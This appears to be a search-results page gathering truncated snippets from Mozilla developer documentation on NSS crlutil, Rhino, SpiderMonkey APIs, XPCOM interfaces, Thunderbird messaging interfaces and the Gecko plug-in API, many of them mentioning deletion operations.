...owing section. each command takes one option. each option may take zero or more arguments. to see a usage string, issue the command without options, or with the -h option. options and arguments options options specify an action. option arguments modify an action. the options and arguments for the crlutil command are defined as follows: -g create new certificate revocation list(crl).- -d delete certificate revocation list from cert database. -i import a crl to the cert database -e erase all crls of specified type from the cert database -l list existing crl located in cert database file. -m modify existing crl which can be located in cert db or in arbitrary file. if located in file it should be encoded in asn.1 encode format. -g arguments option arguments modify an action an...
NSS tools : crlutil
Mozilla › Projects › NSS › tools › crlutil
name crlutil — list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl. synopsis crlutil [options] arguments description the certificate revocation list (crl) management tool, crlutil, is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl. the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see certutil tool) and continues with certificates expiration or revocation. this document discusses ce...
...ption. each option may take zero or more arguments. to see a usage string, issue the command without options, or with the -h option. options and arguments options options specify an action. option arguments modify an action. the options and arguments for the crlutil command are defined as follows: -g create new certificate revocation list(crl). -d delete certificate revocation list from cert database. -i import a crl to the cert database -e erase all crls of specified type from the cert database -l list existing crl located in cert database file. -m modify existing crl which can be located in cert db or in arbitrary file. if located in file it should be encoded in asn.1 ...
Rhino scopes and contexts
ll find the definitions in the shared scope. multiple instance scopes can be defined and have their own variables for scripts yet share the definitions in the shared scope. these multiple instance scopes can be used concurrently. sealed shared scopes the ecmascript standard defines that scripts can add properties to all standard library objects and in many cases it is also possible to change or delete their properties as well. such behavior may not be suitable with shared scopes since if a script by mistake adds a property to a library object from the shared scope, that object would not be garbage collected until there are no active references to the shared scope potentially leading to memory leaks. in addition if a script alters some of the standard objects, the library may not work properly ...
...ope potentially leading to memory leaks. in addition if a script alters some of the standard objects, the library may not work properly for other scripts. such bugs are hard to debug and to remove a possibility for them to occur one can seal the shared scope and all its objects. a notion of a sealed object is a javascript extension supported by rhino and it means that properties can not be added/deleted to the object and the existing object properties can not be changed. any attempt to modify sealed object throws an exception. to seal all objects in the standard library passtrue for the sealed argument when calling context.initstandardobjects(scriptableobject, boolean): scriptableobject sealedsharedscope = cx.initstandardobjects(null, true); this seals only all standard library objects, it d...
How to embed the JavaScript engine
sample below the code. the code differs for each spidermonkey version, please choose right version for your spidermonkey. spidermonkey 24 // following code might be needed in some case // #define __stdc_limit_macros // #include <stdint.h> #include "jsapi.h" /* the class of the global object. ...
...s_encodestring(cx, str)); } js_destroycontext(cx); js_destroyruntime(rt); js_shutdown(); return 0; } spidermonkey 31 // following code might be needed in some case // #define __stdc_limit_macros // #include <stdint.h> #include "jsapi.h" /* the class of the global object. ...
Functions
eed, fastest to slowest. arg and local instructions. if a name definitely refers to an argument or local variable of the immediately enclosing function, it can be accessed using jsop_{get,set,call}{arg,local} instructions. some of these can even be fused with other operations into combo instructions like jsop_getargprop, jsop_forlocal, and jsop_inclocal. because arguments and locals can't be deleted, this optimization is available to all functions, and eval does not interfere with it. but a with block can: function f(s) { eval(s); print(s); // s can be loaded with getarg with (obj) { print(s); // no getarg here; s might refer to obj.s } } upvar instructions. jsop_{get,call}upvar (in algol-like functions only, i think?) todo dslot instructions. jsop_{...
...var{inc,dec}. name instructions. in the worst case we emit jsop_{,set,call}name. these are totally general. they can still be optimized via the property cache; in the worst case we walk the scope chain. in some cases, the jit can optimize a jsop_name instruction that refers to a variable in an enclosing scope to pull the value directly out of the call object's dslots. for the expression delete name we always emit jsop_delname. it's not worth optimizing. ...
JSPropertyDescriptor
a descriptor is used to declare whether an attribute can be written to whether it can delete an object that can enumerate and specify content. properties a descriptor is an object that can have the following key values field name description getter the get syntax binds an object property to a function that will be called when that property is looked up. setter the set syntax binds an object property to a function to be called when there is an attempt to set that property. ...
...unction that will be called when that property is looked up. setter the set syntax binds an object property to a function to be called when there is an attempt to set that property. value describes the value of the specified property, which can be any valid javascript value (function, object, string...) configurable declare that the property can be modified and deleted enumerable declare that the property can be enumerated, and the enumerable genus can be traversed by the for...in loop. writable declare whether the specified attribute can be rewritten description a descriptor is a property that describes an object's properties. there are two main types of property descriptors that exist in an object: a data descriptor and an acc...
JS_GetProperty
p to the current value of the property, or undefined if obj has no such property, and return true. ...
...lue of the property, or undefined if obj has no such property, and return true. ...
JS_SetArrayLength
on an existing array, the elements that no longer fit in the array are destroyed. setting the number of array elements does not initialize those elements. to initialize an element call js_defineelement. ...
...ements. to initialize an element call js_defineelement. if you call js_setarraylength on an existing array, and length is less than the highest index number for previously defined elements, all elements greater than or equal to length are automatically deleted. ...
SpiderMonkey 1.8.5
ure releases, replaced with js_parsejson) js_compilefilehandleforprincipalsversion js_compilescriptforprincipalsversion js_compileucfunctionforprincipalsversion js_compileucscriptforprincipalsversion js_consumejsontext (removed in future releases, replaced with js_parsejson) js_decompilescriptobject js_deepfreezeobject js_definefunctionbyid js_defineownproperty js_definepropertybyid js_deletepropertybyid js_deletepropertybyid2 js_doubleisint32 js_encodestringtobuffer js_entercrosscompartmentcall js_evaluatescriptforprincipalsversion js_evaluateucscriptforprincipalsversion js_executeregexp js_executeregexpnostatics js_executescriptversion js_forget_string_flatness js_fileescapedstring js_finishjsonparse (removed in future releases, replaced with js_parsejson) js_flatstring...
...duced into the api, to help embedders writing c++ projects. please note that spidermonkey reserves the js:: namespace for itself. ...
SpiderMonkey 1.8.7
ure releases, replaced with js_parsejson) js_compilefilehandleforprincipalsversion js_compilescriptforprincipalsversion js_compileucfunctionforprincipalsversion js_compileucscriptforprincipalsversion js_consumejsontext (removed in future releases, replaced with js_parsejson) js_decompilescriptobject js_deepfreezeobject js_definefunctionbyid js_defineownproperty js_definepropertybyid js_deletepropertybyid js_deletepropertybyid2 js_doubleisint32 js_encodestringtobuffer js_entercrosscompartmentcall js_evaluatescriptforprincipalsversion js_evaluateucscriptforprincipalsversion js_executeregexp js_executeregexpnostatics js_executescriptversion js_forget_string_flatness js_fileescapedstring js_finishjsonparse (removed in future releases, replaced with js_parsejson) js_flatstring...
...duced into the api, to help embedders writing c++ projects. please note that spidermonkey reserves the js:: namespace for itself. jsautorequest jsautosuspendrequest jsautocheckrequest jsautoentercompartment js::anchor<> js::call obsolete apis js_clearnewbornroots js_enterlocalrootscope js_leavelocalrootscope js_leavelocalrootscopewithresult js_forgetlocalroot js_newgrowablestring deleted apis js_getscopechain use js_getglobalforscopechain api changes operation callback js_setoperationcallback was introduced in js 1.8.0, replacing the branch callback, in anticipation of the addition of the tracing jit (tracemonkey). the interface was finalized only after js 1.8.0 shipped, with bug 477187. the primary change in this interface is that it no longer counts operations; embedders ar...
SpiderMonkey 38
ttwobytestringcharsandlength (bug 1032726) js_newplainobject (bug 1125356) js_removefinalizecallback (bug 996785) js_self_hosted_sym_fn (bug 1082672) js_sym_fn (bug 1082672) js_sym_fnspec (bug 1082672) js_stringhaslatin1chars (bug 1032726) js_stringisflat (bug 1037869) js_stringtoid (bug 959787) propertydefinitionbehavior (bug 825199) symbol_to_jsid (bug 645416) obsolete apis ... ...
...to_int (bug 952650) jsval_to_object (bug 952650) jsval_to_private (bug 952650) jsval_to_string (bug 952650) js_clearnonglobalobject (bug 1043281) js_clonefunctionobject (bug 1089026) js_compilefunction (bug 1089026) js_compileucfunction (bug 1089026) js_convertarguments (bug 1125784) js_convertargumentsva (bug 1125784) js_convertstub (bug 1103152) js_defineownproperty (bug 1017323) js_deletepropertystub (bug 1103152) js_doubletoint32 (bug 1112774) js_doubletouint32 (bug 1112774) js_enumeratestub (bug 1103152) js_evaluatescript (bug 1100579) js_evaluateucscript (bug 1100579) js_executescriptversion (bug 1095660) js_getflatstringchars (bug 1037869) js_getfunctioncallback (bug 1103269) js_getinternedstringchars (bug 1037869) js_getinternedstringcharsandlength (bug 1037869) js...
SpiderMonkey 45
tensiblelexicalscope (bug 1202902) js_extensiblelexicalscope (bug 1202902) js_initreflectparse (bug 987514) js::toprimitive (bug 1206168) js::getfirstargumentastypehint (bug 1054756) js::objecttocompletepropertydescriptor (bug 1144366) js_setimmutableprototype (bug 1211607) js_getownucpropertydescriptor (bug 1211607) js_hasownpropertybyid (bug 1211607) js_hasownproperty (bug 1211607) js_deleteucproperty (bug 1211607) js::newfunctionfromspec (bug 1054756) js::compilefornonsyntacticscope (bug 1165486) js_checkforinterrupt (bug 1058695) js::mapdelete (bug 1159469) js::mapforeach (bug 1159469) js::newsetobject (bug 1159469) js::setsize (bug 1159469) js::sethas (bug 1159469) js::setdelete (bug 1159469) js::setadd (bug 1159469) js::setclear (bug 1159469) js::setkeys (bug 1159469)...
...interned renamed to js_stringhasbeenpinned (bug 1178581) js_internjsstring renamed to js_atomizeandpinjsstring (bug 1178581) js_internstringn renamed to js_atomizeandpinstringn (bug 1178581) js_internstring renamed to js_atomizeandpinstring (bug 1178581) js_internucstringn renamed to js_atomizeandpinucstringn (bug 1178581) js_internucstring renamed to js_atomizeandpinucstring (bug 1178581) deleted apis js_getcompartmentstats js_seticumemoryfunctions js_isgcmarkingtracer js_ismarkinggray js_idarraylength js_idarrayget js_destroyidarray js_defaultvalue js_getparent js_setparent js::parsepropertydescriptorobject js_deleteproperty2 js_deletepropertybyid2 js_deleteucproperty2 js_deleteelement2 js_newfunctionbyid js_bindcallable js_decompilefunctionbody js_getlatin1interned...
Gecko events
section_changed the caret moved from one section to the next. event_table_caption_changed a table caption changed. event_table_model_changed a table's data changed. event_table_summary_changed a table's summary changed. event_table_row_description_changed a table's row description changed. event_table_row_header_changed a table's row header changed. ...
...able_row_description_changed a table's row description changed. event_table_row_header_changed a table's row header changed. event_table_row_insert event_table_row_delete event_table_row_reorder event_table_column_description_changed a table's column description changed. event_table_column_header_changed a table's column header changed. event_table_column_insert event_table_column_delete event_table_column_reorder event_window_activate event_window_deactivate event_window_destroy event_window_maximize event_window_minimize event_window_resize event_window_restore event_hyperlink_end_index_changed the ending index of this link within the containing string has changed. event_hyperlink_number_of_anchors_changed the number of anchors assoicated with this ...
Avoiding leaks in JavaScript XPCOM components
to memory that has been returned to the heap (and potentially reused). meeting both requirements at the same time can be tricky. many programming languages guarantee a solution for (2) and handle all the heap management for the programmer. however, this doesn't mean that (1) is also solved. the most common strategies for managing heap allocation are the following: malloc and free (or new and delete) the simplest strategy for heap allocation is that the programmer makes one function call to request memory from the heap and another one to return it. in c, these are malloc and free. in c++, they're new and delete. if the programmer forgets to return the memory to the heap, it leaks. if the programmer accesses the memory after returning it to the heap, the program will access whatever happens ...
...it's difficult to use this strategy when there are multiple pointers to a given object and it's uncertain which one will need to last the longest. reference counting reference counting is a simple solution to the problem of allowing multiple owners to influence the lifetime of an object. ...
Introduction to XPCOM for the DOM
instance, if nsfoo implements two different interfaces, nsifoo and nsibar, a pointer to nsifoo cannot call the methods defined on nsibar and vice-versa. note: the previous paragraph is extremely important. if you haven't grasped it completely, there is no need to read further. reference counting basics xpcom uses a reference counting mechanism (refcount in short) to make sure that no object is deleted while interface pointers still point at that object. indeed, dereferencing a pointer that points to a deleted object can have bad consequences. that is why each time a pointer to an interface is assigned the address of an object, we have to increase the reference count of that object by one. the function that does this is called "addref" and is defined in the nsisupports interface. when the poin...
...ence count of that object by one. the function that does this is called "addref" and is defined in the nsisupports interface. when the pointer no longers holds the address of that object, it has to decrease the reference count of that object by one. this is done using the "release" function, also defined in the nsisupports interface. when the reference count of an object hits 0 (zero), the object deletes itself. this is why it is very important to keep track of the reference count of each object. in the first case, if we forget to addref the object, the object may delete itself before we are done using the pointer, which would cause a crash when dereferencing it. in the second case, if we forget to release the object, it will never delete itself, which will cause "memory leaks", i.e. the memory ...
nsICookieService
broadcast whenever the cookie list changes in some way. there are four possible data strings for this notification; one notification will be broadcast for each change. depending on the data value, either an nsicookie2 interface pointer representing the cookie object that changed, or an nsiarray of nsicookie2 objects. a keyword indicating what was done to the affected cookie. deleted a cookie was deleted. the subject is the deleted cookie. added a cookie was added. the subject is the added cookie. changed a cookie was changed. the subject is the changed cookie. batch-deleted a set of cookies were deleted as part of a purge operation. this typically happens because they have either expired or because the cookie list has grown too large. the ...
... cleared the entire cookie list was cleared. the subject is null. reload the entire cookie list was changed, and the observer should reload the list of cookies. the subject is null. ...
nsIDictionary
nkey 1.0) note: this interface was removed in firefox 3.5; use dict.jsm instead. see bug 668424 for further information. method overview boolean haskey(in string key); void getkeys(out pruint32 count, [retval, array, size_is(count)] out string keys); nsisupports getvalue(in string key); void setvalue(in string key, in nsisupports value); nsisupports deletevalue(in string key); void clear(); methods haskey() check if a given key is present in the dictionary. boolean haskey( in string key ); parameters key key to check for. return value true if present, false if absent. getkeys() retrieve all keys in the dictionary. void getkeys( out pruint32 count, [retval, array, size_is(count)] out string keys ); r...
...alue the value associated with the specified key. if the key doesn't exist, ns_error_failure is returned. setvalue() add the key-value pair to the dictionary. if the key is already present, the new value replaces the old one. void setvalue( in string key, in nsisupports value ); parameters key the key by which the value can be accessed. value the value to store. deletevalue() find the value indicated by the key. nsisupports deletevalue( in string key ); parameters key the key indicating the pair to be removed. return value the removed value. if the key doesn't exist, ns_error_failure will be returned. clear() delete all key-value pairs from the dictionary. void clear(); parameters none. ...
nsIEditor
tributeorequivalent(in nsidomelement element, in astring sourceattrname, in astring sourceattrvalue, in boolean asuppresstransaction); void removeattributeorequivalent(in nsidomelement element, in domstring sourceattrname, in boolean asuppresstransaction); void postcreate(); void predestroy(in boolean adestroyingframes); selected content removal void deleteselection(in short action, in short stripwrappers); document info and file methods void resetmodificationcount(); long getmodificationcount(); void incrementmodificationcount(in long amodcount); void incrementmodificationcount(in long amodcount); transaction methods void dotransaction(in nsitransaction txn); void enableundo(in...
...sourcenode); nsidomnode createnode(in astring tag, in nsidomnode parent, in long position); void insertnode(in nsidomnode node, in nsidomnode parent, in long aposition); void splitnode(in nsidomnode existingrightnode, in long offset, out nsidomnode newleftnode); void joinnodes(in nsidomnode leftnode, in nsidomnode rightnode, in nsidomnode parent); void deletenode(in nsidomnode child); void marknodedirty(in nsidomnode node); direction controller void switchtextdirection(); output methods astring outputtostring(in astring formattype, in unsigned long flags); example: // flags are declared in base/public/nsidocumentencoder.idl // outputselectiononly = 1, outputformatted = 2, // outputraw = 4...
nsIFileInputStream
netwerk/base/nsifilestreams.idlscriptable an input stream that allows you to read from a file. inherits from: nsiinputstream last changed in gecko 1.7 method overview void init(in nsifile file, in long ioflags, in long perm, in long behaviorflags); constants constant value description delete_on_close 1<<1 if this is set, the file will be deleted by the time the stream is closed. it may be removed before the stream is closed if it is possible to delete it and still read from it. if open_on_read is defined, and the file was recreated after the first delete, the file will be deleted again when it is closed again. close_on_eof 1<<2 if this is set, the file will close automatically when the end of the file is reached. ...
...er_open is useful if we use the stream on a background thread, so that the opening and possible stating of the file happens there as well. note: using this flag results in the file not being opened during the call to init. this means that any errors that might happen when this flag is not set would happen during the first read. also, the file is not locked when init is called, so it might be deleted before we try to read from it. methods init() void init( in nsifile file, in long ioflags, in long perm, in long behaviorflags ); parameters file file to read from (must qi to nsilocalfile) ioflags the file status flags define how the file is accessed. see pr_open documentation for more details. if set to -1 the file will be opened in default mode (pr_rdonly). perm ...
nsIJumpListBuilder
removed items internally. each list is made up of an array of nsiwinjumplistitems representing items such as shortcuts, links, and separators. see nsijumplistitem for information on adding additional jump list types. method overview void abortlistbuild(); boolean addlisttobuild(in short acattype, in nsiarray items optional, in astring catname optional); boolean commitlistbuild(); boolean deleteactivelist(); boolean initlistbuild(in nsimutablearray removeditems); attributes attribute type description available short indicates whether jump list taskbar features are supported by the current host. read only. islistcommitted boolean jumplist management. indicates if a commit has already occurred in this session. read only. exceptions thrown ns_error_not_available on all calls i...
...rown ns_error_unexpected on internal errors. ns_error_illegal_value if an item is added that was removed since the last commit. ns_error_invalid_arg if incorrect parameters are passed for a particular category or item type. commitlistbuild() commits the current jump list build to the taskbar. boolean commitlistbuild(); parameters none. return value true if the operation completed successfully. deleteactivelist() deletes any currently applied taskbar jump list for this application. common uses would be the enabling of a privacy mode and uninstallation. boolean deleteactivelist(); parameters none. return value true if the operation completed successfully. exceptions thrown ns_error_unexpected on internal errors. initlistbuild() initializes a jump list build and returns a list of items the us...
nsIMsgDBViewCommandUpdater
void updatecommandstatus(); parameters none. displaymessagechanged() called when the displayed message has changed. void displaymessagechanged(in nsimsgfolder afolder, in astring asubject, in acstring akeywords ); parameters afolder the folder containing selected message. asubject the subject of the...
...commandstatus(); parameters none. displaymessagechanged() called when the displayed message has changed. void displaymessagechanged(in nsimsgfolder afolder, in astring asubject, in acstring akeywords ); parameters afolder the folder containing selected message. asubject the subject of the selected message. akeywords keywords associated with the selected message. updatenextmessageafterdelete() allows the backend to tell the front end to re-determine which message we should select after a delete or move void updatenextmessageafterdelete(); parameters none. ...
nsIMsgIncomingServer
value); void shutdown(); void storepassword(); astring tostring(); void writetofoldercache(in nsimsgfoldercache foldercache); attributes attribute type description accountmanagerchrome astring read only. biffminutes long biffstate unsigned long canbedefaultserver boolean read only. cancompactfoldersonserver boolean read only. cancreatefoldersonserver boolean candelete boolean can this server be removed from the account manager? for instance, local mail is not removable, but an imported folder is. canemptytrashonexit boolean read only. canfilemessagesonserver boolean canhavefilters boolean read only. cansearchmessages boolean read only. canundodeleteonserver boolean read only. constructedprettyname astring helper function to construct the pretty n...
... nsispamsettings spam settings. read only. supportsdiskspace boolean read only. type acstring protocol type, that is "pop3", "imap", "nntp", "none", and so on. used to construct urls. username acstring userid to log into the server. usesecauth boolean valid boolean constants constant value description defaultsocket 0 trytls 1 alwaysusetls 2 usessl 3 keepdups 0 deletedups 1 movedupstotrash 2 markdupsread 3 methods clearallvalues() this is really dangerous. this destroys all pref values do not call this unless you know what you're doing! void clearallvalues(); parameters none. exceptions thrown missing exception missing description cleartemporaryreturnreceiptsfilter() if sent folder pref is changed we need to clear the temporary return receipt filt...
nsIMsgProtocolInfo
the nsimsgprotocolinfo interface describes the capabilities of an account type. inherits from: nsisupports implemented by: @mozilla.org/messenger/protocol/info;1?type=acct, where acct is the account type that are you are interested in. method overview long getdefaultserverport(in boolean issecure); attributes attribute type description candelete boolean true if an account of this type may be deleted. read only. canduplicate boolean unused. read only. cangetincomingmessages boolean true if junk ui actions should be enabled for the account type. read only. cangetmessages boolean true if "get messages" ui actions should be enabled for the account type. read only. canloginatstartup bo...
...uiresusername boolean true if the server requires a username to log on. read only. serveriid nsiidptr the iid of the server-specific interface, used during account creation. read only. showcomposemsglink boolean true if compose ui actions should be enabled for the account type. read only. specialfoldersdeletionallowed boolean true if the user can delete folders like inbox, trash, etc. read only. methods getdefaultserverport() returns the default port for a connection to a server of this account type. long getdefaultserverport( in boolean issecure ); parameters issecure whether or not the connection will be secure. return value the default port number for connections of this account type. remarks this is one of the interfac...
nsINavBookmarksService
given uri. will be void string (null in js) if no such keyword is found. astring getkeywordforuri( in nsiuri auri ); parameters auri the uri whose keyword is to be retrieved. return value returns the keyword for the given uri. getremovefoldertransaction() this method retrieves an undo-able transaction for removing a folder from the bookmarks tree. this method exists because complex delete->undo operations rely on recreated folders to have the same id they had before they were deleted, so that any other items deleted in different transactions can be re-inserted correctly. this provides a safe encapsulation of this functionality without exposing the ability to recreate folders with specific ids (potentially dangerous if abused by other code!) in the public api. nsitransaction getre...
...n long long afolder ); parameters afolder the id of the folder to remove. removefolderchildren() this method removes all children of the given folder. its a convenience function for container services. void removefolderchildren( in long long aitemid ); parameters aitemid the id of the folder to remove children from. removeitem() this method removes a child item. it is used to delete a bookmark or a separator. void removeitem( in print64 folder, obsolete since gecko 1.9 in nsiuri child, obsolete since gecko 1.9 in long long aitemid ); parameters folder obsolete since gecko 1.9 the id of the items parent folder. folder obsolete since gecko 1.9 the uri of the item to remove. aitemid the child item to remove. removeobserver() this method removes a bookmark o...
nsIPluginHost
.idlscriptable please add a summary to this article. ...
....3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. to create temp file with content len header in, it will use by http post. void createtmpfiletopost( in string apostdataurl, out string atmpfilename ); parameters apostdataurl atmpfilename native code only!deletepluginnativewindow deletes plugin native window object created by newpluginnativewindow(). void deletepluginnativewindow( in nspluginnativewindowptr apluginnativewindow ); parameters apluginnativewindow native code only!destroy void destroy(); parameters none. native code only!findproxyforurl fetches a url. (corresponds to npn_geturl and npn_geturlnotify.) posts to a url ...
Component; nsIPrefBranch
up.", the preferences "browser.startup.page", "browser.startup.homepage", and "browser.startup.homepage_override" can be accessed by simply passing "page", "homepage", or "homepage_override" to the various get/set methods. ...
... exist. note: this method does nothing if the prefbranch it is called on is a default branch. void clearuserpref( in string aprefname ); parameters aprefname the preference to be cleared. remarks note: prior to gecko 6.0, this method would throw an exception if there was no user value set for the specified preference. now, this method never throws. instead, it simply does nothing. deletebranch() called to remove all of the preferences referenced by this branch. note: this method can be called on either a default or user branch but, in effect, always operates on both. void deletebranch( in string astartingat ); parameters astartingat the point on the branch at which to start the deleting preferences. pass in "" to remove all preferences referenced by this branch. getb...
nsISelection
e(in nsidomrange range); void collapse(in nsidomnode parentnode, in long offset); [noscript,notxpcom,nostdcall] boolean collapsed(); void collapsenative(in nsidomnode parentnode, in long offset); native code only! void collapsetoend(); void collapsetostart(); boolean containsnode(in nsidomnode node, in boolean partlycontained); void deletefromdocument(); void extend(in nsidomnode parentnode, in long offset); void extendnative(in nsidomnode parentnode, in long offset); native code only! nsidomrange getrangeat(in long index); void modify(in domstring alter, in domstring direction, in domstring granularity); void removeallranges(); void removerange(in nsidomrange range); ...
...ly returns true when the entire node is part of the selection. boolean containsnode( in nsidomnode node, in boolean partlycontained ); parameters node the nsidomnode to look for partlycontained if partlycontained is set to pr_false, the function only returns true when the entire node is part of the selection. return value whether or not the range contains the requested noe. deletefromdocument() deletes this selection from the document the nodes belong to. void deletefromdocument(); extend() extends the selection by moving the selection end to the specified nsidomnode and offset, preserving the selection begin position. the new selection end result will always be from the anchornode to the new focusnode, regardless of direction. void extend( in nsidomnode parentnode, i...
nsISmsDatabaseService
.createinstance(components.interfaces.nsismsdatabaseservice); method overview long savereceivedmessage(in domstring asender, in domstring abody, in unsigned long long adate); long savesentmessage(in domstring areceiver, in domstring abody, in unsigned long long adate); void getmessage(in long messageid, in long requestid, [optional] in unsigned long long processid); void deletemessage(in long messageid, in long requestid, [optional] in unsigned long long processid); void createmessagelist(in nsidommozsmsfilter filter, in boolean reverse, in long requestid, [optional] in unsigned long long processid); void getnextmessageinlist(in long listid, in long requestid, [optional] in unsigned long long processid); void clearmessagelist(in long listid); void markmessagerea...
...y a domstring containing the body text of the message. adate the timestamp of the message. getmessage() void getmessage( in long messageid, in long requestid, [optional] in unsigned long long processid ); parameters messageid a number representing the id of the message. requestid a number representing the id of the request. processid optional a number representing the id of the process. deletemessage() void deletemessage( in long messageid, in long requestid, [optional] in unsigned long long processid ); parameters messageid a number representing the id of the message. requestid a number representing the id of the request. processid optional a number representing the id of the process. createmessagelist() void createmessagelist( in nsidommozsmsfilter filter, in boolean rev...
nsIAbCard/Thunderbird3
d setproperty(in autf8string name, in nsivariant value); [noscript] void setpropertyasastring(in string name, in astring value); [noscript] void setpropertyasautf8string(in string name, in autf8string value); [noscript] void setpropertyasuint32(in string name, in pruint32 value); [noscript] void setpropertyasbool(in string name, in boolean value); void deleteproperty(in autf8string name); autf8string translateto(in autf8string atype); void copy(in nsiabcard srccard) boolean equals(in nsiabcard card) astring generatephoneticname(in boolean alastnamefirst) attributes attribute type description properties nsisimpleenumerator readonly: a list of all the properties that this card has...
...pt] void setpropertyasastring(in string name, in astring value); [noscript] void setpropertyasautf8string(in string name, in autf8string value); [noscript] void setpropertyasuint32(in string name, in pruint32 value); [noscript] void setpropertyasbool(in string name, in boolean value); parameters name the case-sensitive name of the property to set. value the new value of the property. deleteproperty() deletes the property with the given name. some properties may not be deleted. however, the implementation will not check this constraint at this method. if such a property is deleted, an error may be thrown when the card is modified at the database level. void deleteproperty(in autf8string name); parameters name the case-sensitive name of the property to set. translateto() t...
nsMsgMessageFlags
geflags.h. constants name value description read 0x00000001 indicates whether or not the message is read. replied 0x00000002 indicates whether or not the message has been replied to. marked 0x00000004 indicates whether or not the message has been flagged/starred expunged 0x00000008 indicates whether or not the message is deleted (but not compacted) hasre 0x00000010 indicates whether or not 're: ' should be added to the head of the subject to get the proper subject. elided 0x00000020 indicates whether or not the thread rooted at this message is open or closed in the ui. offline 0x00000080 indicates whether or not we have this message in the offline cache. watched 0...
.... forwarded 0x00001000 indicates whether or not the message has been forwarded. priorities 0x0000e000 the set of bits that indicate the priority. new 0x00010000 indicates whether or not the message is new since the last time the folder was opened. ignored 0x00040000 indicates whether or not the (sub-)thread has been ignored. imapdeleted 0x00200000 indicates whether or not the message has been deleted on the imap server mdnreportneeded 0x00400000 indicates whether or not a delivery receipt was requested. mdnreportsent 0x00800000 indicates whether or not a delivery receipt was sent. template 0x01000000 indicates whether or not the message is a template. attachment 0x1...
nsMsgViewCommandType
) constants name value description markmessagesread 0 marks the selected messages as read. markmessagesunread 1 mark the selected messages as unread togglemessageread 2 toggle the read flag of the selected messages flagmessages 3 flag the selected messages. unflagmessages 4 unflag the selected messages. togglethreadwatched 6 toggle the watched state of the selected thread. deletemsg 7 move the selected message to the accounts trash. deletenotrash 8 delete the selected message. markthreadread 9 mark all messages in a thread as read. markallread 10 mark all messages currently shown as read expandall 11 expand all threads. collapseall 12 collapse all threads. copymessages 13 copy the selected messages. use with nsimsgdbview.docommandwithfolder() to select ...
...the selected messages. label2 23 attach a label to the selected messages. label3 24 attach a label to the selected messages. label4 25 attach a label to the selected messages. label5 26 attach a label to the selected messages. lastlabel 26 attach a label to the selected messages. junk 27 mark the selected messages as junk. unjunk 28 mark the selected messages as not junk. undeletemsg 29 undelete the selected messages. applyfilters 30 apply filters to the selected messages runjunkcontrols 31 run junk mail controls on the selected messages. deletejunk 32 delete all junk messages. ...
Troubleshooting XPCOM components registration
console if chrome errors are enabled. to learn more about enabling chrome errors, see "how can i see errors in my code" in the extension faqs. registration failure if the module is loading correctly but doesn't register its components, try adding calls to components.utils.reporterror("debug me!"); in nsgetmodule() and other functions to try and find any errors. general hints you may need to delete compreg.dat in your profile folder to force re-registration. this should not occur if you uninstalled/installed your extension via the extension manager. when adding a component to a xulrunner application, change the buildid in application.ini. if your component requires any external libraries, you may need to read using dependent libraries in extension components make sure you are compiling a...
... nsgetmodule is exported. you can also use the profiling feature of dependency walker to view failed module loads while running your application. open the profile menu and select start profiling.... in the dialog that appears, you can provide command line parameters and click ok to start the application. you will see any modules that failed to load in the module list. note: you should delete compreg.dat from your profile before doing this. note that even your version of msvc may matter; your test machine may not have the c runtime libraries (msvcr70.dll / msvcp70.dll for msvc 7.0, and similarly named files for 7.1 and 8.0) available. this even means that if you are using a component stub, the stub needs to be compiled using a version which the machine does suppor...
Reference Manual
to |0| foo->dosomething(); // ns_precondition: "you can't dereference a null nscomptr with operator->()" a similar precondition intervenes on behalf of operator*. reference-counting safeguards all of the operations that extract the underlying raw pointer out of an nscomptr use a c trick to implement another safety feature. the pointer returned cannot be addrefed, released, or deleted. nscomptr<nsifoo> foo = ...; foo->addref(); // error: |addref| is private delete foo.get(); // error: |operator delete| is private ns_release(foo); // error: |release| is private of course, the most important safety feature provided by nscomptr is that it addrefs and releases automatically at the appropriate times. casting never use old-style c/c+...
...act same code, and takes the same time, as performing this operation on a raw xpcom interface pointer. the destructor, which corresponds to client code calling release against a raw xpcom interface pointer, is factored, requiring the extra time required to invoke a subroutine call, though this is balanced against the cost already present in both cases of calling release which may, in turn, invoke delete and the referents destructor. all nscomptrs constructors and assignment operators are inline. the simple constructors, i.e., those that don't query, do only exactly the same work that you would do by hand. any routines that call more than one of addref, release, or queryinterface, are factored, and hence have the additional cost of invoking a subroutine call. only the fact that some routines are ...
Plug-in Basics - Plugins
n a single page, or in several open windows at the same time. if you are browsing a page that has several embedded realaudio clips, for example, the browser will create as many instances of the realplayer plug-in as are needed (though of course playing several realaudio files at the same time would seldom be a good idea). when the user leaves the page or closes the window, the plug-in instance is deleted. when the last instance of a plug-in is deleted, the plug-in code is unloaded from memory. a plug-in consumes no resources other than disk space when it is not loaded. the next section, understanding the runtime model, describes these stages in more detail. understanding the runtime model plug-ins are dynamic code modules that are associated with one or more mime types. when the browser starts...
.... again, see initialization and destruction for more information about initializing and destructing. the browser calls the plug-in api function npp_new when the instance is created. multiple instances of the same plug-in can exist (a) if there are multiple embedded objects on a single page, or (b) if several browser windows are open and each displays the same data type. a plug-in instance is deleted when a user leaves the instance's page or closes its window; gecko calls the function npp_destroy to inform the plug-in that the instance is being deleted. when the last instance of a plug-in is deleted, the plug-in code is unloaded from memory. gecko calls the function np_shutdown. plug-ins consume no resources (other than disk space) when not loaded. note: plug-in api calls and callbacks u...
Gecko Plugin API Reference - Plugins
ins windowless plug-ins specifying that a plug-in is windowless invalidating the drawing area forcing a paint message making a plug-in opaque making a plug-in transparent creating pop-up menus and dialog boxes event handling for windowless plug-ins streams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls getting urls getting the url and displaying the page posting urls posting data to an http se...
...hat they are implemented by the browser and called by the plug-in. for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. warning: you must only call these from the main thread; calling them from other threads is not supported and may have unpredictable results. npn_destroystream closes and deletes a stream. npn_forceredraw forces a paint message for a windowless plug-in. npn_getauthenticationinfo this function is called by plug-ins to get http authentication information from the browser. npn_geturl asks the browser to create a stream for the specified url. npn_geturlnotify requests creation of a new stream with the contents of the specified url; gets notification of the result. n...
